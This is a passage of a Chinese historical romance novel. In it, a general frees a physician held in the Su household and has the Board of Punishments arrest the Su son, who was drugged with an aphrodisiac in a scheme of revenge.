男人恹恹地起身，穿上玄色圆领袍，系好盘扣。不知何时，战斗地点从桌案转移到床榻，宝鸭燃着鹅梨帐中香，妃色芙蓉帐挂着乳白色流苏，随着夜风吹拂轻轻摆动，搔弄着他的面颊，有点点痒。
白日里自他得到“鳐鱼”的报信之后，片刻不得安宁，胸中郁积满心满肺的忧虑——那个疯婆娘，竟然蠢到动用合欢散去杀人，到底在想什么！
一旦被人识破伎俩，查出是她下的药，还有何转圜余地？他不得不出手相救，否则她必落入无底深渊。
可他转念一想，不过萍水相逢，泛泛之交，即便有契约束缚在，双方也是纯粹的买卖交易关系——他并不是她的保镖护卫，没有义务时刻庇佑她的安危。
卖家并未主动求助，他何必上赶着倒贴？
他须坐下来，守株待兔，等着她来跟他诉苦。这么想着，恰时晴雷瀹了一壶“铁观音”，俯身递上茶盏，时枫捏着茶碗就往嘴里灌，唬得晴雷伸手阻拦，“爷慢着喝，烫。”
可惜慢了一息，滚热茶水烫了他的舌尖，时枫吃痛，手一松，茶盏坠地，碎裂两半，茶汤泼了他袍子满身湿漉漉，热腾腾。
晴雷忙着招呼下人打扫，一屋子人影来往丛脞，唯有时枫穿着湿袍子，两手拄着膝，坐在太师椅里呆望。
晴雷抽空道：“爷快去换衣裳。”
时枫抬起迷蒙的眼，自嘲道：“我真是愚鲁，她被关在家里，又怎么跑出来找我呢？”
他倏地拔座起身，“派人去春月坊，匿名购买一斤合欢散，切勿耽搁。”
晴雷不敢相信自己耳朵，“爷要干什么？”
时枫来不及解释，他一边解扣脱去湿袍子，一边翻找笔墨纸砚，搦管疾书一封，交给晴雷，“飞鸽传书给鳐鱼，午前务必将合欢散递送进去。另外，备好马车，我今晚要亲临苏府。”
晴雷眨巴眨巴乌黑眼仁，大概听明白世子爷的意图，可仍心存疑窦，“苏府封闭门户，不见得会给爷开门呐。”
“谁说我要从门进？”
茫茫夜色降临，寒烟笼罩堂前影。巷前停泊一辆马车，窗帷遮挡严实，密不透风。
夜幕笼罩下，一道寒影掠过，踩着星月残辉，自深巷疾步马车前。
“爷，属下回来了。”
车厢内撩开窗帷一角，露出冷戾凤眸，亮如寒夜孤星，那点星光压着深宅大院的角灯，逡巡一周，又回到眼前，“寻到苏绾了？”
晴雷在风声鹤唳中，无声地点点头，“属下搜寻苏府内每一处院落，基本锁定苏姑娘的住所，在她的旧屋内。”
“隋太医被软禁在东厢，很容易识别，屋门上了闩，门口有家丁守候。”许是风紧了些，晴雷抽动一下鼻子，“不过不是事儿，属下保准神不知鬼不觉放他出来。”
时枫沉寂片刻，“将他弄出来以后，别去县衙或者顺天府，直接送到刑部衙门，剩下的事情交给他自个儿。如果他问你是谁，你就亮出你的牙牌。”
晴雷一听，先慌了手脚，“爷要不打自招？走夜路哪有自报家门的道理？”
时枫淡然道：“隋太医在大理寺书房见过苏绾，彼时我跟他说，这是我的填房。如今他在苏府再次遇见苏绾，一拍脑瓜子就能想到我这边来。也罢，给他吃一剂定心丸，让他知道跟谁走才是正确的方向。”
晴雷转了转乌黑眼睛，揶揄道：“我看是爷走投无路，不得已暴露身份罢。”
“滚一边去，轮得到你来教训我。”时枫骂骂咧咧放下窗帷，坐回本来位置。
趁着夜黑风高，他和晴雷两人穿着夜行衣，先后脚来到苏府后院墙根。踩着光滑墙面偶尔凹陷的坑洞，时枫轻轻纵身一跃，即翻越那堵令文竹望而生畏的高墙。
时枫驾轻就熟，沿着长长的廊檐，一路摸索到窗户根儿底下。窗户大开，没有点灯，月影来窗里，恰闻屋内人细语。
“一切皆由因果报应。”
淡淡的话语从苏绾嘴里说出来，带着低调的杀意，令时枫感到十分惊奇。
他从来都认为，苏绾是位眼光独到投机者，抓住一切机遇为自己谋求钱财利益。
可当他看到，苏绾冷静地筹谋策划，滴水不漏布置陷阱，心狠手辣又杀伐果断，他又有些不确定，苏绾到底是什么人。
他对她的底细充满好奇心，她就像苎麻线缠绕的谜团——剪不断，理还乱，勾连着他的兴致，吸引他去解开谜语，让他深陷其中，无法自拔。
带着解谜的悸动，时枫侧入廊檐，悄悄打开房门。
鸟乌窥冻砚，星月入幽房，光辉荟聚处，美人酣睡梦游仙。
他饶有兴致地负手伫立，将她愁眉轻叠的睡颜望了一阵，嘴角不知不觉微微上扬，心里涌起暖流，滋润干涸的心田。
这么个小东西，整日想着杀人越货、作奸犯科。还真是有趣。
心神不由得荡了一荡，当下生出些破坏欲，想要逗弄她一逗，最好再逼出她几滴眼泪，让小东西哭着求他；又或者将她美丽的身体撕裂，把他的锋芒融入进一段破碎的缱绻柔情中。
他并没意识到，这份欢喜的破坏欲，源自于霪欲本初。更加不会想到，那霪欲遮掩下的情欲，代表什么意义。
如此想着，时枫情不自禁伸出手去，触碰那柔软的、堪堪不受风雨的小肩膀，将满身满脑的情丝淋漓尽致倾泻给她。
酣兴过后，凉风穿堂而过，倏然吹醒时枫混沌的
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脑子，水落石出，某种不知名的情绪，如雨后春笋般，蠢蠢欲动。
手臂伸展，怀里缩着柔弱美人，时枫睇着她的后背，忍不住伸出手。粗壮的指头轻拂一段波折曲线，肌肤滑腻触感，顺着指尖传递给他，淡淡的情绪，占据了他的胸膛。
“你方才说，‘婆子下手重了些’，是什么意思？苏家又对你用刑了？”
这是他第二次过问此事，可苏绾没心情回复他，余浪仍一波又一波翻涌，不断拍打着身体那些青红印记。她伏在男人硬实胸膛假寐，装作没听见，专心细细地呼吸。
时枫按着性子等了半日，仍不见她回答，带着属于男人的懊恼，他负气地推开苏绾，蹭的坐起身，似要报复她一般，言语充满挑衅，“那婆子怎么你了，竟让你动了杀人的念头？”
苏绾闻之一愣，断然否定，“我不知道你在说什么。”
“哼，”时枫嗤笑一声，左手系右手腕间锦带，却怎么都系不上，颇有点窘迫。
苏绾瞧见他的窘迫，默默坐起身，递过葱指去，巧手翻弄几下，帮他解了燃眉之急。
时枫低垂着眼，借着月光将她纤白玉手仔细逡巡，又有些犹豫，这样素净的一双手，怎会沾染杀人的鲜血？
假他人之手，苏绾真正想除掉的，是那名被捣杀的嬷嬷。虽然尚不清楚，苏绾同嬷嬷之间纠结何种仇恨，但那血淋淋的事实真相，逃不过他时枫的眼睛。
“这难道不是一出‘借刀杀人‘戏码？”
时枫趁机捉住那双葇荑，拖在大掌里摩挲，手心紧贴那份细嫩柔软，他有点舍不得放手。
苏绾想也没想，脱口而出：“人不是我杀的，这事儿与我无关。”言毕，像要赌气似的，她用力一抽，扯掉牵绊，逃也似得收回两手。
眼见葇荑撤回，时枫有些不高兴，冷笑道：“少跟我装蒜，我不信你不懂合欢散的杀伤力。你说你想给苏尽欢一个教训尝尝，我看未必如此。你端的什么心思，你自己心里清楚。”
行院里的腌臜手段，她是知道的。从前她和她娘蜗居“春月坊”，亲眼见识过“合欢散”的威力。只需一捻，任他是修成正果得道高僧，也会毅然决然委弃佛主，孜孜不倦滚入红尘纷扰。
席间苏尽欢的酒壶酒盏，被她抹了整整一包合欢散，足够十个人的用量，晾他是大罗金仙也扛不住这等药力，怪不得他会发癫发狂。
他猜得没错，这是一出‘借刀杀人‘，然而又不止于此，还有一幕‘一石二鸟‘，惩处苏尽欢，给苏家以致命打击，才是她的真正意图，也是她最擅长的手段，屡试不爽。
可她不能把自己见不得人的秘密抖落出来，拿到太阳底下晒一晒，只好演一演，搪塞过去。
苏绾垂眸道：“我是什么心思，与你无关。咱们俩之间，就是纯粹的交易伙伴，合作关系。一手交钱，一手交货。多余的解释你别问，问我也只有一句话，我不知道。”
“你说什么？！”
眼见温驯的小东西，突然露出獠牙，反咬他一口，着实令时枫感到吃惊不小。从来只有他发号施令的份儿，什么时候，俘虏反过来骑在他头上拿捏他？
怒火瞬间燃起，烧毁最后一丝理智。男人拔身而起，背对着苏绾，口不择言，“这是你跟我说话的态度？你怕是忘了自己的处境和立场。是谁跪着求我宠幸？在我眼里，你不过就是个玩物，我高兴了，哄着你，赏你点好处。不高兴了，你就是鞋底的泥点子。倘若你给脸不要脸，一再不知好歹，也别怪本将军，翻脸不认人！”
言毕，时枫一甩手，窗台轻轻一纵，歘然离去。
掀起一阵冷风，吹灭帐中香烬，妃色芙蓉帐左右摇晃，白色流苏乱结愁肠。苏绾躺卧软褥，仰望窗外那点月明星光，心里蓦然感到一阵无力的惆怅感。
复仇的道路，险阻且长。
正怅然间，忽闻屋外人群丛脞，来来去去脚步声。
苏绾穿好内襟，披上褙子，启门望去，正赶上无霜捉裙归来，“小姐，大事不妙，隋太医跑了，夫人正满院子抓人呢。”
苏绾定了定神，眼眸蒙上风霜。
那个家伙，个性虽张扬跋扈，好歹不食言。这一晚的辛苦付出，总算没有白费。
34. 断袖
寅时达旦，晨光熹微，东方亮起一抹鱼肚白，古老的北京城碧瓦朱栏缥缈间，仿佛蒙上一层朦胧的轻纱。旭日渐曈曈，映照城西刑部、都察院、大理寺三法司衙门，光辉灿烂犹如仙门圣地。
那光芒格外刺眼，照得隋太医几乎抬不起头，只一味缩着颈子，躲在黑衣人阴影下。夜行衣连结白大褂，一黑一白，游魂人间，好似索命的鬼使无常。
晴雷瞥了一眼刑部衙门上方悬挂的金匾，沉声道：“衙门不多时即点卯，大人堂前稍候。”
隋太医耷拉脑袋，沉重如灌铅，障袂擦拭八字须沾染的晨露，囫囵道：“承蒙世子爷美意，下官得以逃出生天，不胜感激。然则，状告苏府逆子一事，非急于一时，待下官回堂草拟诉状为先。”
从他踏入苏府家门那一刻起，隋太医的心情，如扁舟小棹渡海，起伏跌宕，忽上忽下。不小心卷入苏夫人同苏二小姐之间的纷争，已是让他骑虎难下，又搭了时枫的人情。一边是权势滔天的苏家，另一边是不容小觑的时家，哪边他都得罪不起，更不消说，这里面还牵扯温侍郎的颜面。
局势尚不明朗，良禽宜择木而栖。
晴雷一声冷笑，“大人是去报官，并非上诉，写什么状子？难不成，隋大人想拖延时间，给罪犯以活路？”
隋太医吓得肩膀一耸，连连端袖，“不敢不敢，下官怎敢助纣为虐。实在是手里证据不足，一家之言，口说无凭，如何使人信服？”
晴雷自怀中掏出纸包，随手丢给隋太医，“证据在此，交给刑部主事即可。”
隋太医胡乱伸手一接，好似接着一块沉甸甸的硬铁，摊在手心，左右为难，“这、这……”
晴雷眼神一凛，起手端起雁翎刀，疾风凑近隋太医脖颈，刀鞘“噌”的一声滑开，半边雪锋曝射，闪了隋太医的眼。
“隋大人，请容卑职说句推心置腹话儿，站在风口浪尖，骑墙犹豫不决，小心卡着□□。您道他吏部苏郎中不好惹，影响仕途擢升，容易‘丢官’，可您也别小看我们世子爷，同京卫指挥使对抗，容易‘丢命’。这里面孰轻孰重，大人不会还看不清楚吧。”
几句话唬得隋太医心惊胆颤，额头汗如雨注，滴淌刀锋利刃，顺流而下。“丢官”还是“丢命”，这根本不是道难题。大难临头，保命要紧。
隋太医梗着脖颈不敢低头，口中连连称是，“清楚清楚，下官知道怎么做了。下官这就去堂前击鼓鸣冤，定要将苏家逆子的罪行昭告天下。”
晴雷收回刀鞘，挎在腰间蹀躞，不紧不慢道：“隋大人果然明事理。只是，不用我提醒，想必大人也知道，这整件事情，前前后后，跟我们世子爷，可没有半文钱关系。”
“下官明白，绝不敢供出时将军。”见对方收回锋芒，隋太医这才敢举起袖子，胡乱抹一通汗水。哪知汗水越抹越多，刮喇好几下也不干净，越发手忙脚乱。
“那是最好。”晴雷冷笑一声，提刀翛然离去，抛下一阙暗影，隐匿于金乌梵天。
日上红波浮碧巘，杨柳黄莺啼花梢。晴雷一路行色匆匆，人群里穿梭几个来回，绕道回到时将军府。
时枫落座太师椅内，两腿交叉搭在案边，脑袋仰靠椅背，抱着双臂阖目养神。初夏和风自窗户拂过脸颊，带着石榴花香，香气氤氲，难消心头余恨。
因着西厢房同苏绾吵了一架，他独坐书房思忖一夜，直至艳阳高照。满腔的憋屈不痛快，像笼在渔网里的游鱼，闷在心里不得发泄。
那个疯婆娘，凭什么对他颐指气使、嚣张跋扈？当自己是神女下凡？仗着美色迷惑人心，要他召之即来挥之即去，想得美！
哼，他才不要再管她的事，以后就算她哭着喊着求他，眼泪流成河，他也绝不会心软。
甫一阖眼，脑海里闪现那双澹如星子的眼眸，卷睫扑扇扑扇，撩拨他的心弦，痒痒的。他起手一挥，驱散那诱人的幻影。
他陡然拔座起身，拎起案上茶壶，咚咚引项灌凉茶水。饮了一海冰萃茶，方压下去身体里蹿涌的那股邪火。
晴雷趸进书房，见时枫两眼淤红，两手撑在桌案，惊道：“爷病了？早知如此，属下叫隋太医先给爷看病不迟。”
时枫抬起眼眸，声音喑哑如霜，“人送到了？”
晴雷拜道：“是。属下送隋太医至刑部衙门口，按爷的吩咐，给了他一包合欢散，叫他去报官。然则……”
晴雷忧虑道：“单单合欢散一项尚不足以支撑有罪定论，属下担心，刑部没有十足把握，不敢接这案子。”
时枫缓缓落座，手指弹敲桌案，“人证物证俱在，还须找到受害者尸体。苏家封锁门户好几日，咱们的眼线一直盯着他们，期间并未有任何可疑人物出入。既然尸体运不出去，一定还停留在苏府，我猜，多半埋进后花园的黄土。”
晴雷问道：“话虽如此，如何能将尸体下落，告知刑部呢？总不能让爷亲自去说吧。”
时枫挺了挺剑眉，“当然不是我去说，你跑大理寺一趟，跟邵云礼讲，来活了，叫他洗干净屁股，赶紧上刑部查案子去。”
清风徐徐吹拂，花瓣簌簌而落。这厢晴雷领命退下，那边沈枝意如流蝶般急急跨门飞入，时枫躲闪不及，硬生生被堵在书房里。
沈枝意穿杏黄百褶裙，头簪一支西府海棠，千娇百媚，婀娜多姿。她丝毫不怯场，大大方方站在时枫面前，娇嗔道：“枫哥哥，昨日说好要带我出去逛什刹海，一早我就来了，可不许反悔哦。”
翻阅记忆海洋，恍惚有那么一瓢饮，讲的是游什刹海这一遭，然而他也不十分确定——脑子里半阙海水，依旧涤荡着苏府闺房那一缕倩影。不由自主地，身体陷入那片温柔的海，浸润在旖旎芳艳的怀抱中。
见他怔忪半晌，沈枝意凑近，摊开纤白玉手，凤眸前晃了晃，“枫哥哥，你在想什么呢？”
漆黑眼眸翻转，映射一片白光，旖旎风光蓦然沉寂。将那沉海的情思收拢，时枫定了定神，垂下睫毛，“什刹海有什么好看的？靠人力挖出来三海水道，风景比不过江南水乡细致。”
沈枝意背着小手，仰脸望着高暗身影，脸颊泛着桃花，“什刹海囊尽西湖春，秦淮夏，洞庭秋，集众水之巅，景致冠绝京华。又怎么比不过江南呢？”
大约距离时枫身体过近，沈枝意耸着鼻翼嗅了嗅，明眸流转，“枫哥哥，你身上怎么有股鹅梨香味？”
“有吗？”时枫抬起手臂左闻右闻，闻不出什么鹅梨香气。
他平日里常熏木松香，倒也不是刻意为之，只是塞外松香易得，干净又清爽，仆人时常用此香薰，他习惯了而已。
沈枝意不但嗅出他常用的木松香，还从玄色袍子缝隙间，捕捉到隐匿其中的一股甜腻的鹅梨香。她皱了皱小鼻子，“此乃鹅梨帐中香，南唐后主李煜发明，以鹅梨蒸沉香用之，为周娥皇安神助眠。”
沈枝意扁嘴，言止一瞬，挑高眼角窥他，“原来枫哥哥偷偷出去玩，都不带着我。”
时枫眉间一紧，他可不就是逛了苏府闺房，搂着美人亲昵销魂，才沾染鹅梨帐中香气。
刀削斧劈的面额，挂上一丝被人识破的羞赧，继而升华成恼怒。时枫眼眸一沉，旋即背过身去，俄延半晌，声音冷得如同淬了冰，“我这几日有些忙，无暇陪你游玩，晴雷会带你去什刹海。”
那一阙冰冷背影半明半暗，阳光为其熨帖一层金边，映在沈枝意杏眼眸子里，倏然消失黯淡无光。她抽动一下小巧鼻子，细细的嗓音夹带着哭腔，“枫哥哥，你忙吧，我不打搅你。”
言毕，旋身捉裙离去，像只逃之夭夭的蝴蝶，倏尔隐没春花烂漫中。
时枫始松口气，真要命，竟然被小姑娘看透心事。他摇摇头，无奈地笑了笑，却不知是笑别人太机灵，还是笑自己太痴傻。
窗外日头高挂，巳时将近。为等待晴雷的回信，他堪堪独坐书房，未曾阖眼半刻。如今事已近成，一颗悬挂的心，总算坠回心窝。
时枫站起身，伸了个懒腰，哼着小曲儿，弯在塌上睡回笼觉。阖眼不过一刻，神思晃晃悠悠，屋外响起一阵踏踏的脚步声。
时枫迷瞪瞪地睁开眼，正对上白发苍颜，胡须苒苒，唬得时枫顿时拔身起立，双眼瞪如铜铃，“沈伯父，你来啦。”
沈恪黑着老脸，目光犀利如两把剑，齐刷刷架在时枫脖颈，“你先坐好，我有话要问你。”
时枫心里忐忑不安，一刻前他才惹得沈枝意不高兴，沈恪就找上门来拿他兴师问罪
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。他迟疑着，让出首座太师椅，自己单扯一条圆杌凳。
待二人坐定，沈恪重重叹口气，双手反撑膝头，“榆白世侄，你知我戎马生涯六十年，儿子生了一群，却只得这一位宝贝女儿。卿卿是我的命，自小捧在手里怕掉了，含在口里怕化了。好不容易长成十六岁，焉知老夫不是挨了十六年的苦？她已长大成人，也是老夫放手的时候，我不能守护她一辈子。”
老人絮絮叨叨，分享养女心得，直呼生活不易，令时枫愈加相信，沈恪是来教训他冷落沈枝意。他埋首自省一番，想着一会该如何赔不是，才不致叫老人太难堪。
熟料沈恪掀起老眼，话锋一转，“当年我与你爹定下这门姻亲，也是相中你勇武刚毅，是个稳重的好孩子。我记得，你小时候酷爱舞枪弄棒，十三岁时，一杆金枪挑遍军中无敌手，除了你大哥，没有你打不过的。还有你十八岁时，单挑鞑靼第一勇士，你赤膊上阵摔角，不出二十回合，揍得对方跪地喊娘……”
沈恪讲得唾沫横飞，时枫听得一头雾水，得空截住话头，紧着问：“伯父有什么话，尽可直说，不必拘泥于礼数。”
沈恪瞥了时枫一眼，按住膝头，沉了沉气，“那我就把话说开了，昨日闲来无事，我独自一人去西市天桥逛了逛，路边茶摊坐了会，偶然听见一些关于你的闲谈。”
沈恪顿了顿，似斟酌遣词，良久，低眉道：“坊间流传，京卫指挥使喜好男色，当街强掳算命先生。你可曾听闻？”
“啊？”时枫瞠目结舌，立马捏紧拳头，怒道：“谁说的？我抓他来审问，为何泼我脏水。”
沈恪花白胡子一翘，翻了翻眼皮，“不分青红皂白，动不动就抓人审问，搞什么‘一言堂’，岂不是乱了军纪军法？”
时枫被他训斥一通，也不敢反驳，缩了缩身子，好似落败的将军，气势矮人一截，“伯父莫要偏听小人谗言。”
沈恪双手攥拳，“榆白世侄，老夫提点你一下，在外要注意形象名声。作为京卫指挥使，替皇上拱卫京师，就要起带头作用。你可倒好，大街上观其算命书生年轻俊美，竟强掳行猥亵之举，真病态也。你何时沾染断袖邪癖？那位书生姓甚名谁？究竟是你见色起意，还是你们苟且已久？”
“今日你非要给老夫一个说法不可。”
沈恪气得胡子眉毛一把抓，时枫欲哭无泪，他怎可能有龙阳之癖，几个时辰前他还在芙蓉帐里鱼水相交之缠绵，沾了一身的鹅梨帐中香气。
天晓得，那算命先生其实是苏绾假扮的，而那个“猥亵”之吻，属实是他强迫她，但他有一肚子的冤屈无处倾泻。他与她之间，牵扯着剪不断理还乱的情丝万缕，一两句话，又怎能说得清。
战场上，大将军时枫当仁不让，英姿飒爽来酣战。此时此刻，这位英雄却起了怂心，他左手摩挲着束腕间的绿松石，眼也不敢抬，“没有的事，伯父一定是弄错了。”
“我对男人不感兴趣。”
时枫咽了口唾沫，仿佛困囿死地的将军，挣扎着抛出最后一击，“伯父可知我这‘不世出卫将军’称号，如何挣得？还不是小侄扮作恩客，潜伏行院半月，同花娘交好才套取到关键证据。倘若小侄喜好男色，银样镴枪头，妓子一试便知，断不可能蒙混过关。”
“想来是哪个不开眼的小人，背后乱嚼舌根，恶意诋毁小侄清誉。”
半裁挺拔的轮廓隐没在阳光之下，让人看不清他的表情，也幸好如此，才不被人瞧见他内心的慌乱——他已经黔驴技穷，不得不拉出“□□”的假历史，来为自己背书。尽管他心知肚明，春月坊那场战役，依旧不缺少关于苏绾的一笔浓厚色彩，并深深印在他心里——他方才意识到，他的世界，不知不觉，到处阗满苏绾的痕迹。
“嗯……”
沈恪捋了捋花白胡须，目光明亮如炬，像一只随时俯冲的鹰隼，鹰眼捕捉半踞的猎豹。他须从猎豹闪躲的眼神中，翻找任何可疑的蛛丝马迹，好为他的掌上明珠，挑选世上最好的乘龙快婿。
“相较之断袖，□□，亦好不到哪里去。”
沈恪横劈一刀，正砍中他的面门，左右不得蔽。时枫愕然，面上写满难得一见的窘迫，滑过他迷蒙的眼眸，嘴里喃喃，“这、这……”
35. 缉拿
月落日升，转起又过了一天。夏风徐徐吹拂，杏花零落，古老的深宅大院，沉浸在碎了的杏花雨，好似铺了一层粉雪，遮掩束缚的沉重枷锁。
两瓣粉白掉落窗前，黏在苏绾手背，她抬起素手，勾连鬓间几缕碎发，轻叹一声，“嗳，都什么时候了，母亲还争执那点对错。合欢散哪里来的，有那么重要吗？总归是在三弟屋里发现的，还能凭空长出来不成。”
苏夫人侧坐堂前梨木太师椅，横眼眱着苏绾，细长指甲拨弄星月菩提子珠串，“你少在那里装象糊弄人，声东击西，保不齐就是你弄的手脚。我就觉得此事蹊跷古怪，待我查出证据，叫你无话可说。这个家里面，拢共只你一个奸诈的，不是你捣鬼还能是谁？直接送到县衙门口，各种刑具一上，不怕撬不开你的嘴。”
“青天白日头，夫人欲冤枉好人？人家衙门老爷吃素的？随便一查，谁是好人，谁是奸诈，清清楚楚。到时候罚个‘栽赃嫁祸’罪名，叫你吃不了兜着走。”忽然芸娘从苏君识身后探出头来，忍不住帮着苏绾咒骂几句。
苏家宅院里，竟敢有人不给她脸面，当着这么多人面，叫她下不来台。苏夫人手指芸娘，兜头破口大骂，“主子谈话，轮得到外室填房插嘴？不过是家养的看门狗，再敢乱咬人，小心我撕烂你的嘴。不要以为我不知道，你们都是一伙的，联合起来陷害我苏家。”
终于惹怒家主苏君识，他手一拍椅臂，湛蓝色褂子抖了抖，“都给我住嘴，成何体统！老的小的皆不省心，是想气死我么？今日咱们齐聚一堂，是为商讨良策应对家门危机，多余废话少说。”
五光十色喧阗戛然而止，堂内陡然安静下来，芸娘本想借苏君识的威严，再补骂几句，回首恰撞见苏绾朝她暗递眼色，瞬间恍然大悟——
苏家迫害她的手段，即为塑造她泼妇形象，离间她和老爷感情，端阳夜她不是吃到教训了？芸娘识趣地缩回骨头，继续躲进苏君识阴影里，柔弱小女人般垂着眼。
苏夫人眼角下瞥一眼苏君识，捏着珠串，不紧不慢道：“老爷不必忧烦，这个家没那么容易垮掉。”
“一来，欢儿昨晚醒了，神志清醒，气色尚佳，问话都能听明白，直吵吵喊饿，只是身子骨还有些乏累，须再躺卧几日，想来那合欢散要不得人性命，不过是耗些精气神。”
“二来，这隋太医原是趁小厮打瞌睡，偷了钥匙遁逃出走。人既已安全离开，也不必非要咬着我苏家不放，多一事不如少一事，他也不想在朝廷树敌不是？退一万步讲，他就算一时想不通，真的上衙门告我们，那也不怕。凡事讲究证据确凿，他口说无凭，手里一点把柄没有，拿什么来状告咱们？”
“三来，这件事说白了，咱欢儿是受害者，不知被哪个糟心的下药，迷蒙了心智。多亏老天爷保佑，好不容易捡回条命，何罪之有？眼下关键，是揪出那陷害欢儿的歹人，将他绳之以法，方为对策。”
苏夫人一席话，头头是道，条理清晰，说得全家皆心内大震，又好似吞了定心丸，个个都觉得，这场灭顶灾难其实没什么大不了。
苏绾暗自佩服不已，苏夫人不愧是脂粉队里的英雄，遇事冷静果断，看待问题清楚透彻，可惜生得女儿身，若为男子，必能在诡谲多变的官场中，打拼出一片天地。
但她认同归认同，屎盆子不能往自己身上揽，玉手抖落裙裾沾染的杏花瓣，“母亲要抓歹人，自是理所当然，但请不要乱放冷箭。三弟醒了以后，母亲询问他数次，可曾吃过合欢散，他怎么说的来着？”
苏绾顿一顿，模仿苏尽欢的语气，摇头晃脑，“‘好像吃了，又好像没吃，记不太清楚了。反正从前吃过不少，也买过很多次，家里大概还有些存货也未可知。’”
星眸一转，苏绾正色道：“我倒想问一问，这里面，哪句话说的是我苏绾？”
苏夫人一时语塞，她本意就是栽赃嫁祸给苏绾，自然也没有真正的证据。况且，连她自己都认为，这事与苏绾无关，因为一切都太巧合，又太诡异。
然而她必须揪出“替罪羊”，来给她的孩子顶罪，苏绾是最佳选择。谁让她的娘，是那个“娼妓狐媚子”九香，要怪就怪自己投错胎。
苏夫人将星月菩提串向香案一掷，丹凤眼斜吊，“谁也没说就是你，瞎嚷嚷什么。我们苏家家大业大的，走到这一步绝不能散，总要有人站出来挑担子。你姐姐十八岁尚未出阁，如今远在热河，自是管不了事。你弟弟才十六，大好前途在望，若背负杀人罪名，此生再难走官途。你作为姊姊，忍心看你弟弟沉沦堕落吗？”
苏绾乍惊失色，“母亲这话什么意思？难道要我替他顶罪？亏您想的出来。我好好的家里不住，犯不着要去坐牢，自毁前程。”
苏夫人牵出帕子拈在手里，“到不了坐牢的地步，你就说本想逗弄一下你弟弟，谁成想你弟弟年岁小，身子骨不抵，发浑得了失心疯，失手打死嬷嬷。那长官看你不过弱女子，断不会发送你下大狱，顶多批评教育你两句，不碍事的。”
这般说着，将一双凄凄的眼盯着苏绾，“退一万步讲，就算真个捉了你问罪，温侍郎怎会坐视不理？定会早早替你疏通关系，你怕什么？”
苏绾火气倒拔上来，猛地从圆杌凳站起身，“岂有此理。你们这是明摆着欺负人。不是我做的，为何要我承担后果？家里面这么多人，偏偏挑上我，看我好欺负不是。今日就是杀了我，我也绝不会替你们背这口黑锅，但凡留着一口气，我也要去衙门告发你们，叫你们得到应有的处罚。”
苏夫人眼眸冷了一层，帕子一掀，“你当我求你？这里可没有你说话的份儿，来人呐，给我绑了二小姐，即刻拿住送官。”
立时窜上两名家丁，蹒步直逼过来，伸手欲拿苏绾，惊得苏绾连连后退，眼神慌乱无措，“你、你们，不要靠近我。”
芸娘吓得心惊胆战，扯弄苏君识袖管，“老爷快快救命！”
苏夫人出身世家，养尊处优惯了，脾气一上来，作天作地，苏君识也招架不住。他耷拉着眉毛，一张老脸讪讪地凑过去，“夫人欲抓人送官，不必急于一时，等到衙门传唤再行不迟。”
然苏夫人却是等不得，绝不能给苏绾抓住机会，让她向温侍郎报信，他必将怒火烧到苏尽欢头上。
“给我上。”苏夫人掐腰横眉竖眼，丹凤眼燃起兴奋的火焰。
眼见家丁四只手即将触及苏绾，电光火石间，门外咣当咣当响起震天敲门声，伴随惊骇一声吼，“开门，刑部拿人！”
门外旋即进来一班挎刀差役，十几人之多，挤挤插插站满一屋子。
队末之处，蹒步走来京直隶刑部正六品主事，姓郑，五十岁上下年纪，鬓发花白，身材干瘦。
郑主事斜眼逡了一回，目光落点苏君识，“苏郎中问安，下官奉命上门，缉拿你子苏尽欢归案，其人现在何处？”
苏夫人睁着迷蒙的眼，抢着话头反问：“怎么是刑部来抓人？我儿犯何罪？谁人报的官？”
郑主事并不回话，又朝苏君识重申一遍：“苏尽欢人在何处？”
苏夫人不禁怒火窜起，手一拍桌案，喝道：“哪里来的毛脚差役，话也不说上来就拿人！”
郑主事瞟了一眼苏夫人，转过头来一味逼问苏君识，“苏郎中可知违法抗命的后果？”
“苏某明白，明白。请主事放宽心。”苏君识毕竟朝中为官十余载，见多风雨，知道再多反抗亦无用。他端起袖子，耷拉着老眼，“逆子在东厢房午睡，请容苏某遣人唤他，不劳主事亲驾。”
苏夫人一旁挤眉弄眼，给苏君识使眼色，要他拦住郑主事。苏君识低下头，假装没看见。
苏君识打发小厮，召来睡眼惺忪的苏尽欢。其人穿着暗紫寝衣，趿拉布履，连外袍也来不及换。
纨绔少年高声叫嚷：“爷睡得正好，狗奴才吵我干嘛？小心我抽你十鞭子。”
待他前脚进入厅堂，几名差役即上前揿他臂膀，反绞双手。苏尽欢一见剑拔弩张场面，立刻慌了，左右环顾，惊喊道：“爹爹、娘亲，这是怎么回事啊？”
苏夫人眼一红，急上前两步，拈帕指着郑主事，“你们凭什么拿人？可有证据？你晓得我亲哥哥是谁伐？浙江省二品布政使殷潜，你敢拿我的儿子，不要命了。”
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唾沫星子飞溅，喷了郑主事一脸，他脸色一沉，起手一扬，即推开苏夫人，将她趔趄推倒，跌了簪子，头发凌乱披散。
“下官奉命行事，其余一概不知，拦挡我者，按抗命不从论。”
苏夫人不死心，不顾披头散发，竟匍匐爬过去，扯郑主事的靴子哭嚎：“不许抓我儿，我跟你拼了！”
郑主事不欲跟女流之辈计较，使了个眼色，旋即上来两名差役，揿肩膀扯后腿，捉小猪一样将苏夫人抬离。拉扯中苏夫人杀猪般哭嚎，响彻云霄。
苏君识急得跺脚，两手颤颤巍巍去拉差役，又拉不动，转身拱手哀求：“贱内无心抗令，还请主事大人饶恕。”
郑主事咳嗽一声，号令差役住手，眼神一翻，“苏郎中，有话可写状纸，上报刑部衙门词讼，我等告辞先。”
话毕，郑主事同十几差役，并捆绑的苏尽欢，一齐绝门离去，余留苏家一家老小，对空咋舌嗟叹。
苏夫人伤心过度，几次昏死过去，捶胸顿足，只哭道：“造孽啊。我儿命绝矣。”
俄顷回过神，大言不惭，“不就是刑部么，怕他作甚。我这就去叫哥哥写奏折跟皇帝求情。”
苏君识气得蹀足横嗔，“愚蠢。你懂什么，三法司以刑部为主，其权之大，掌天下刑名，哪有说情求饶的份儿。就算当朝阁老，也不敢擅涉刑部审案。都怪你，平日里张扬跋扈，不识好歹，这京城的权贵人家，都被你得罪光了，如今出了事情，知道难了，早干什么去了？”
夫妻俩愁成一团，苏绾站在角落，全程看得清清楚楚，心内震撼不已。她曾预想过，因苏尽欢尚未入仕，苏家也非侯门贵族，隋太医出逃之后，要么怂了忍下这口气，要么去县衙或顺天府衙告状。绝没料到，竟然是刑部直接来拿人。
她不禁心里攥着一把汗，她不怕把事情闹大，唯恐一番辛苦之后，因证据不足而不了了之。只有暗自祈祷，但愿那个家伙，能够扭转乾坤。
